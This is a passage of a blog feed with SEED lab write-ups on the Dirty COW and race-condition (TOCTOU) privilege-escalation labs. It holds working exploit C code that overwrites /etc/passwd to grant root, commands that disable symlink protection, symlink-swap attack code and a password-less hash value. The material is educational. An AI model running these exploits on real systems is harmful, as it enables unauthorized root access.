111111******33333
seed@ubuntu:~/Computer_Security/chap8$&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 2: Modify the Password File to Gain the Root Privilege&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Now, let&amp;rsquo;s launch the attack on a real system file, so we can gain the root privilege. We choose the /etc/passwd file as our target file. This file is world-readable, but non root users cannot modify it. The file contains the user account information, one record for each user. Assume that our user name is seed . The following lines show the records for root and seed:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1616331576676&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:Seed,123,,:/home/seed:/bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Each of the above record contains seven colon-separated fields. Our interest is on &lt;u&gt;the third field, which specifies the user ID (UID) value assigned to a user.&lt;/u&gt; UID is the primary basis for access control in Linux, so this value is critical to security. The root user&amp;rsquo;s UID field contains a special value 0; that is what makes it the superuser, not its name. Any user with UID 0 is treated by the system as root, regardless of what user name he or she has. The seed user&amp;rsquo;s ID is only 1000, so it does not have the root privilege. However, if we can change the value to 0, we can turn it into root. We will exploit the Dirty COW vulnerability to achieve this goal. &lt;br /&gt;&lt;br /&gt;In&amp;nbsp;our&amp;nbsp;experiment,&amp;nbsp;we&amp;nbsp;will&amp;nbsp;not&amp;nbsp;use&amp;nbsp;the&amp;nbsp;seed&amp;nbsp;account,&amp;nbsp;because&amp;nbsp;this&amp;nbsp;account&amp;nbsp;is&amp;nbsp;used&amp;nbsp;for&amp;nbsp;most&amp;nbsp;of&amp;nbsp;the&amp;nbsp;experiments&amp;nbsp;in&amp;nbsp;this&amp;nbsp;book;&amp;nbsp;if&amp;nbsp;we&amp;nbsp;forget&amp;nbsp;to&amp;nbsp;change&amp;nbsp;the&amp;nbsp;UID&amp;nbsp;back&amp;nbsp;after&amp;nbsp;the&amp;nbsp;experiment,&amp;nbsp;other&amp;nbsp;experiments&amp;nbsp;will&amp;nbsp;be&amp;nbsp;affected.&amp;nbsp;Instead,&amp;nbsp;&lt;u&gt;we&amp;nbsp;create&amp;nbsp;a&amp;nbsp;new&amp;nbsp;account&amp;nbsp;called&amp;nbsp;charlie&lt;/u&gt;,&amp;nbsp;and&amp;nbsp;we&amp;nbsp;will&amp;nbsp;turn&amp;nbsp;this&amp;nbsp;normal&amp;nbsp;user&amp;nbsp;into&amp;nbsp;root&amp;nbsp;using&amp;nbsp;the&amp;nbsp;Dirty&amp;nbsp;COW&amp;nbsp;attack.&amp;nbsp;Adding&amp;nbsp;a&amp;nbsp;new&amp;nbsp;account&amp;nbsp;can&amp;nbsp;be&amp;nbsp;achieved&amp;nbsp;using&amp;nbsp;the&amp;nbsp;adduser&amp;nbsp;command.&amp;nbsp;After&amp;nbsp;the&amp;nbsp;account&amp;nbsp;is&amp;nbsp;created,&amp;nbsp;a&amp;nbsp;new&amp;nbsp;record&amp;nbsp;will&amp;nbsp;be&amp;nbsp;added&amp;nbsp;to&amp;nbsp;/etc/passwd.&amp;nbsp;See&amp;nbsp;the&amp;nbsp;following:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1616331718433&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ sudo adduser charlie
...
$ cat /etc/passwd | grep charlie
charlie:x:1001:1003:,,,:/home/charlie:/bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;We&amp;nbsp;suggest&amp;nbsp;that&amp;nbsp;you&amp;nbsp;save&amp;nbsp;a&amp;nbsp;copy&amp;nbsp;of&amp;nbsp;the&amp;nbsp;/etc/passwd&amp;nbsp;file,&amp;nbsp;just&amp;nbsp;in&amp;nbsp;case&amp;nbsp;you&amp;nbsp;make&amp;nbsp;a&amp;nbsp;mistake&amp;nbsp;and&amp;nbsp;corrupt&amp;nbsp;this&amp;nbsp;file.&amp;nbsp;An&amp;nbsp;alternative&amp;nbsp;is&amp;nbsp;to&amp;nbsp;take&amp;nbsp;a&amp;nbsp;snapshot&amp;nbsp;of&amp;nbsp;your&amp;nbsp;VM&amp;nbsp;before&amp;nbsp;working&amp;nbsp;on&amp;nbsp;this&amp;nbsp;lab,&amp;nbsp;so&amp;nbsp;you&amp;nbsp;can&amp;nbsp;always&amp;nbsp;roll&amp;nbsp;back&amp;nbsp;if&amp;nbsp;the&amp;nbsp;VM&amp;nbsp;got&amp;nbsp;corrupted.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Task:&amp;nbsp;&lt;/b&gt;You&amp;nbsp;need&amp;nbsp;to&amp;nbsp;modify&amp;nbsp;the&amp;nbsp;charlie&amp;rsquo;s&amp;nbsp;entry&amp;nbsp;in&amp;nbsp;/etc/passwd,&amp;nbsp;so&amp;nbsp;the&amp;nbsp;third&amp;nbsp;field&amp;nbsp;is&amp;nbsp;changed&amp;nbsp;from&amp;nbsp;1001&amp;nbsp;to&amp;nbsp;0000,&amp;nbsp;essentially&amp;nbsp;turning&amp;nbsp;charlie&amp;nbsp;into&amp;nbsp;a&amp;nbsp;root&amp;nbsp;account.&amp;nbsp;The&amp;nbsp;file&amp;nbsp;is&amp;nbsp;not&amp;nbsp;writable&amp;nbsp;to&amp;nbsp;charlie,&amp;nbsp;but&amp;nbsp;we&amp;nbsp;can&amp;nbsp;use&amp;nbsp;the&amp;nbsp;Dirty&amp;nbsp;COW&amp;nbsp;attack&amp;nbsp;to&amp;nbsp;write&amp;nbsp;to&amp;nbsp;this&amp;nbsp;file.&amp;nbsp;You&amp;nbsp;can&amp;nbsp;modify&amp;nbsp;the&amp;nbsp;cow&amp;nbsp;attack.c&amp;nbsp;program&amp;nbsp;from&amp;nbsp;Task&amp;nbsp;1&amp;nbsp;to&amp;nbsp;achieve&amp;nbsp;this&amp;nbsp;goal.&amp;nbsp;After&amp;nbsp;your&amp;nbsp;attack&amp;nbsp;is&amp;nbsp;successful,&amp;nbsp;if&amp;nbsp;you&amp;nbsp;switch&amp;nbsp;user&amp;nbsp;to&amp;nbsp;charlie,&amp;nbsp;you&amp;nbsp;should&amp;nbsp;be&amp;nbsp;able&amp;nbsp;to&amp;nbsp;see&amp;nbsp;the&amp;nbsp;#&amp;nbsp;sign&amp;nbsp;at&amp;nbsp;the&amp;nbsp;shell&amp;nbsp;prompt,&amp;nbsp;which&amp;nbsp;is&amp;nbsp;an&amp;nbsp;indicator&amp;nbsp;of&amp;nbsp;the&amp;nbsp;root&amp;nbsp;shell.&amp;nbsp;If&amp;nbsp;you&amp;nbsp;run&amp;nbsp;the&amp;nbsp;id&amp;nbsp;command,&amp;nbsp;you&amp;nbsp;should&amp;nbsp;be&amp;nbsp;able&amp;nbsp;to&amp;nbsp;see&amp;nbsp;that&amp;nbsp;you&amp;nbsp;have&amp;nbsp;gained&amp;nbsp;the&amp;nbsp;root&amp;nbsp;privilege.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1616332047884&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

void *writeThread(void *arg)
{
  char *content = &quot;charlie:x:0000&quot;;
  off_t offset = (off_t) arg;

  int f=open(&quot;/proc/self/mem&quot;, O_RDWR);
  while(1){
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
    madvise(map, file_size, MADV_DONTNEED);
  }
}


int main(int argc, char *argv[])
{
  pthread_t pth1, pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode
  int f = open(&quot;/etc/passwd&quot;, O_RDONLY);

  // Map the file to COW memory using MAP_PRIAVTE
  fstat(f, &amp;amp;st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, &quot;charlie:x:1001&quot;);

  // We have to do the attack using two threads.
  pthread_create(&amp;amp;pth1, NULL, madviseThread, (void *)file_size);
  pthread_create(&amp;amp;pth2, NULL, writeThread, position);

  // Wait for the threads to finish
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Result&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1616332156149&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;seed@ubuntu:~/Computer_Security/chap8$ gcc cow_attack_task.c  -lpthread
seed@ubuntu:~/Computer_Security/chap8$ ./a.out 
^C  // Wait a Sec
seed@ubuntu:~/Computer_Security/chap8$ su charlie 
Password: 
root@ubuntu:/home/seed/Computer_Security/chap8# exit&lt;/code&gt;&lt;/pre&gt;</description>
      <category>SEEDLAB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/263</guid>
      <comments>https://marcokhan.tistory.com/263#entry263comment</comments>
      <pubDate>Sun, 21 Mar 2021 22:09:32 +0900</pubDate>
    </item>
    <item>
      <title>SEEDLAB Chap 7:  Race Condition Vulnerability Lab</title>
      <link>https://marcokhan.tistory.com/262</link>
      <description>&lt;p&gt;&quot;Computer &amp;amp; Internet security : A Hand-on Approach&quot; 서적의 내용 중 System security에 관련된 내용을 기술한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;본 블로그에서는 7장 &quot;Race Condition Vulnerability&quot;에 대한 실습 내용을 풀이한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Initial Setup&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Ubuntu 10.10부터 Race Condition에 대한 방어기법이 OS에 적용되어 있다. 따라서 이에 대한 countermeasure를 disable 해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Ubuntu 10.10 and later come with a built-in protection against race condition attacks. This scheme works by restricting who can follow a symlink. According to the documentation, &amp;ldquo;symlinks in world-writable sticky directories (e.g. /tmp) cannot be followed if the follower and directory owner do not match the symlink owner.&amp;rdquo; In this lab, we need to disable this protection. You can achieve that using the following commands:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1613645729038&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// On Ubuntu 12.04, use the following:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;A Vulnerable Program&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The&amp;nbsp;following&amp;nbsp;program&amp;nbsp;is&amp;nbsp;a&amp;nbsp;seemingly&amp;nbsp;harmless&amp;nbsp;program.&amp;nbsp;It&amp;nbsp;contains&amp;nbsp;a&amp;nbsp;race-condition&amp;nbsp;vulnerability.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1613645833974&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* vulp.c */
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include&amp;lt;unistd.h&amp;gt;

int main()
{
	char * fn = &quot;/tmp/XYZ&quot;;
	char buffer[60];
	FILE *fp;

	/* get user input */
	scanf(&quot;%50s&quot;, buffer );

	if(!access(fn, W_OK)){ 								// Line 1
		fp = fopen(fn, &quot;a+&quot;); 							// Line 2
	fwrite(&quot;\n&quot;, sizeof(char), 1, fp);			
    	fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
	else printf(&quot;No permission \n&quot;);
    
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The program above is a root-owned Set-UID program; it appends a string of user input to the end of a temporary file /tmp/XYZ. Since the code runs with the root privilege, i.e., its effective user ID is zero, it can overwrite any file. To prevent itself from accidentally overwriting other people&amp;rsquo;s file, the program first checks whether the real user ID has the access permission to the file /tmp/XYZ; that is the purpose of the access() call in &lt;b&gt;Line 1&lt;/b&gt;. If the real user ID indeed has the right, the program opens the file in &lt;b&gt;Line 2&lt;/b&gt; and append the user input to the file.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;At first glance the program does not seem to have any problem. However, there is a race condition vulnerability in this program: due to the time window between the check (access()) and the use (fopen()), there is a possibility that the file used by access() is different from the file used by fopen(), even though they have the same file name /tmp/XYZ. If a malicious attacker can somehow make /tmp/XYZ a symbolic link pointing to a protected file, such as /etc/passwd, inside the time window, the attacker can cause the user input to be appended to /etc/passwd and as a result gain the root privilege. The vulnerable&amp;nbsp;runs&amp;nbsp;with&amp;nbsp;the&amp;nbsp;root&amp;nbsp;privilege,&amp;nbsp;so&amp;nbsp;it&amp;nbsp;can&amp;nbsp;overwrite&amp;nbsp;any&amp;nbsp;file.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Set&amp;nbsp;up&amp;nbsp;the&amp;nbsp;Set-UID&amp;nbsp;program.&lt;/b&gt;&amp;nbsp;We&amp;nbsp;first&amp;nbsp;compile&amp;nbsp;the&amp;nbsp;above&amp;nbsp;code,&amp;nbsp;and&amp;nbsp;turn&amp;nbsp;its&amp;nbsp;binary&amp;nbsp;into&amp;nbsp;a&amp;nbsp;Set-UID &lt;br /&gt;program&amp;nbsp;that&amp;nbsp;is&amp;nbsp;owned&amp;nbsp;by&amp;nbsp;the&amp;nbsp;root.&amp;nbsp;The&amp;nbsp;following&amp;nbsp;commands&amp;nbsp;achieve&amp;nbsp;this&amp;nbsp;goal:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1613646600027&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 1: Choosing Our Target&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;We would like to exploit the race condition vulnerability in the vulnerable program. We choose to target the password file /etc/passwd, which is not writable by normal users. By exploiting the vulnerability, we would like to add a record to the password file, with a goal of creating a new user account that has the root privilege. Inside the password file, each user has an entry, which consists of seven fields separated by colons (:). The entry for the root user is listed below. For the root user, the third field (the user ID field) has a value zero. Namely, when the root user logs in, its process&amp;rsquo;s user ID is set to zero, giving the process the root privilege. Basically, the power of the root account does not come from its name, but instead from the user ID field. If we want to create an account with the root privilege, we just need to put a zero in this field.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;root:x:0:0:root:/root:/bin/bash&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Each entry also contains a password field, which is the second field. In the example above, the field is set to &quot;x&quot;, indicating that the password is stored in another file called /etc/shadow (the shadow file). If we follow this example, we have to use the race condition vulnerability to modify both password and shadow files, which is not very hard to do. However, there is a simpler solution. Instead of putting &quot;x&quot; in the password file, we can simply put the password there, so the operating system will not look for the password&amp;nbsp;from&amp;nbsp;the&amp;nbsp;shadow&amp;nbsp;file.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;The password field does not hold the actual password; it holds the one-way hash value of the password. To get such a value for a given password, we can add a new user in our own system using the adduser command, and then get the one-way hash value of our password from the shadow file. Or we can simply copy the value from the seed user&amp;rsquo;s entry, because we know its password is dees. Interestingly, there is a magic value used in Ubuntu live CD for a password-less account, and the magic value is U6aMy0wojraho (the 6th character is zero, not letter O). If we put this value in the password field of a user entry, we only need to hit&amp;nbsp;the&amp;nbsp;return&amp;nbsp;key&amp;nbsp;when&amp;nbsp;prompted&amp;nbsp;for&amp;nbsp;a&amp;nbsp;password.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Warning.&amp;nbsp;&lt;/b&gt;In the past, some students accidentally emptied the /etc/passwd file during the attack (this could be caused by some race condition problems inside the OS kernel). If you lose the password file, you will not be able to log in again. To avoid this trouble, please make a copy of the original password file or take a snapshot of the VM. This way, you can easily recover from the mishap.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 2.A: Lauching the Race Condition Attack&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The goal of this task is to exploit the race condition vulnerability in the vulnerable Set-UID program listed&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;earlier. The ultimate goal is to gain the root privilege.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The most critical step (i.e., making /tmp/XYZ point to the password file) of our race condition attack must occur within the window between check and use; namely between the access() and the fopen() calls in the vulnerable program. Since we cannot modify the vulnerable program, the only thing that we can do is to run our attacking program in parallel to &amp;ldquo;race&amp;rdquo; against the target program, hoping to win the race condition, i.e., changing the link within that critical window. Unfortunately, we cannot achieve the perfect timing. Therefore, the success of attack is probabilistic. The probability of successful attack might be quite low if the window are small. You need to think about how to increase the probability. For example, you can run the vulnerable program for many times; you only need to achieve success once among all these trials.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Creating&amp;nbsp;symbolic&amp;nbsp;links.&lt;/b&gt; You can call C function symlink() to create symbolic links in your program. Since Linux does not allow one to create a link if the link already exists, we need to delete the old link first. The following C code snippet shows how to remove a link and then make /tmp/XYZ point to /etc/passwd:&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1613647968605&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unlink(&quot;/tmp/XYZ&quot;);
symlink(&quot;/etc/passwd&quot;,&quot;/tmp/XYZ&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;You can also use Linux command &quot;ln -sf&quot; to create symbolic links. Here the &quot;f&quot; option means that if the link exists, remove the old one first. The implementation of the &quot;ln&quot; command actually uses unlink()&amp;nbsp;and&amp;nbsp;symlink().&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Running&amp;nbsp;the&amp;nbsp;attack&amp;nbsp;program.&lt;/b&gt; After you have implemented the attack program, you should run it in the background, and then run the vulnerable program in parallel. If the attack fails, the vulnerable program will crash,&amp;nbsp;so&amp;nbsp;you&amp;nbsp;need&amp;nbsp;to&amp;nbsp;run&amp;nbsp;the&amp;nbsp;vulnerable&amp;nbsp;program&amp;nbsp;repeatedly&amp;nbsp;until&amp;nbsp;the&amp;nbsp;attack&amp;nbsp;is&amp;nbsp;successful.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Running&amp;nbsp;the&amp;nbsp;vulnerable&amp;nbsp;program&amp;nbsp;and&amp;nbsp;monitoring&amp;nbsp;results.&lt;/b&gt; Since you need to run the vulnerable program for many times, you need to write a program to automate the attack process. To avoid manually typing an input to the vulnerable program vulp, you can use input redirection. Namely, you save your input in a file, and ask vulp to get the input from this file using &quot;vulp &amp;lt; inputFile&quot;.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;It may take a while before our attack can successfully modify the password file, so we need a way to automatically detect whether the attack is successful or not. There are many ways to do that; an easy way is to monitor the timestamp of the file. The following shell script runs the &quot;ls -l&quot; command, which outputs several piece of information about a file, including the last modified time. By comparing the outputs of the command with the ones produced previously, we can tell whether the file has been modified or not.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The following shell script runs the vulnerable program (vulp) in a loop, using passwd input as the input. If the attack is successful, i.e., the passwd is modified, the shell script will stop. You do need to be a little bit patient. Normally, you should be able to succeed within 5 minutes.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1613648230060&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash

CHECK_FILE=&quot;ls -l /etc/passwd&quot;
old=$($CHECK_FILE)
new=$($CHECK_FILE)

while [ &quot;$old&quot; == &quot;$new&quot; ] // Check if /etc/passwd is modified
do
  ./vulp &amp;lt; passwd_input // Run the vulnerable program
  new=$($CHECK_FILE)
done

echo &quot;STOP... The passwd file has been changed&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;A&amp;nbsp;Note.&amp;nbsp;&lt;/b&gt;If after 10 minutes, your attack is still not successful, you can stop the attack, and check the ownership of the /tmp/XYZ file. If the owner of this file becomes root, manually delete this file, and try your attack again, until your attack becomes successful. Please document this observation in your lab report. In Task 2.B, we will explain the reason and provide an improved attack method.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 2.B: An Improved Attack Method&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;In Task 2.A, if you have done everything correctly, but still could not succeed in the attack, check the ownership of /tmp/XYZ. You will find out that /tmp/XYZ&amp;rsquo;s owner has become root (normally, it should be seed). If this happens, your attack will never succeed, because your attack program, running with the seed privilege, can no longer remove or unlink() it. This is because the /tmp folder has a &amp;ldquo;sticky&amp;rdquo; bit on, meaning that only the owner of the file can delete the file, even though the folder is world-writable.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;In Task 2.A, we let you use the root&amp;rsquo;s privilege to delete /tmp/XYZ, and then try your attack again. The undesirable condition happens randomly, so by repeating the attack (with the &amp;ldquo;help&amp;rdquo; from root), you will eventually succeed in Task 2.A. Obviously, getting help from root is not a real attack. We would like to get rid of that, and do it without root&amp;rsquo;s help.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The main reason for that undesirable situation is that our attack program has a problem, a race condition problem, the exact problem that we are trying to exploit in the victim program. How ironic! In the past, when we saw that problem, we simply advised students to delete the file and try the attack again. Thanks to one of my students, who was determined to figure out what the problem was. Because of his effort, we finally understand why and have an improved solution.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;The main reason for the situation to happen is that the attack program is context switched out right after it removes /tmp/XYZ (i.e., unlink()), but before it links the name to another file (i.e., symlink(). Remember, the action to remove the existing symbolic link and create a new one is not atomic (it involves two separate system calls), so if the context switch occurs in the middle (i.e., right after the removal of /tmp/XYZ), and the target Set UID program gets a chance to run its fopen(fn, &quot;a+&quot;) statement, it will create a new file with root being the owner. After that, your attack program can no longer make changes to&amp;nbsp;/tmp/XYZ.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;Basically, using the unlink() and symlink() approach, we have a race condition in our attack program. Therefore, while we are trying to exploit the race condition in the target program, the target program may accidentally &amp;ldquo;exploit&amp;rdquo; the race condition in our attack program, defeating our attack. To solve this problem, we need to make unlink() and symlink() atomic. Fortunately, there is a system call that allows us to achieve that. More accurately, it allows us to atomically swap two symbolic links. The following program first makes two symbolic links /tmp/XYZ and /tmp/ABC, and then using the SYS renameat2 system call to atomically switch them. This allows us to change what /tmp/XYZ points to without introducing any race condition. It should be noted that there is no function wrapper for the SYS renameat2 system call in the libc library on Ubuntu 16.04, so we have to invoke the system call using syscall(), instead of invoking it like a normal function call.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1613649479421&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;

int main()
{
  unsigned int flags = RENAME_EXCHANGE;
  
  unlink(&quot;/tmp/XYZ&quot;); symlink(&quot;/dev/null&quot;, &quot;/tmp/XYZ&quot;);
  unlink(&quot;/tmp/ABC&quot;); symlink(&quot;/etc/passwd&quot;, &quot;/tmp/ABC&quot;);
  
  syscall(SYS_renameat2, 0, &quot;/tmp/XYZ&quot;, 0, &quot;/tmp/ABC&quot;, flags);
  
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Tasks.&amp;nbsp;&lt;/b&gt;Please revise your attack program using this new strategy, and try your attack again. If everything is&amp;nbsp;done&amp;nbsp;correctly,&amp;nbsp;your&amp;nbsp;attack&amp;nbsp;should&amp;nbsp;be&amp;nbsp;able&amp;nbsp;to&amp;nbsp;succeed.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 3: Countermeasure: Applying the Principle of Least Privilege&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
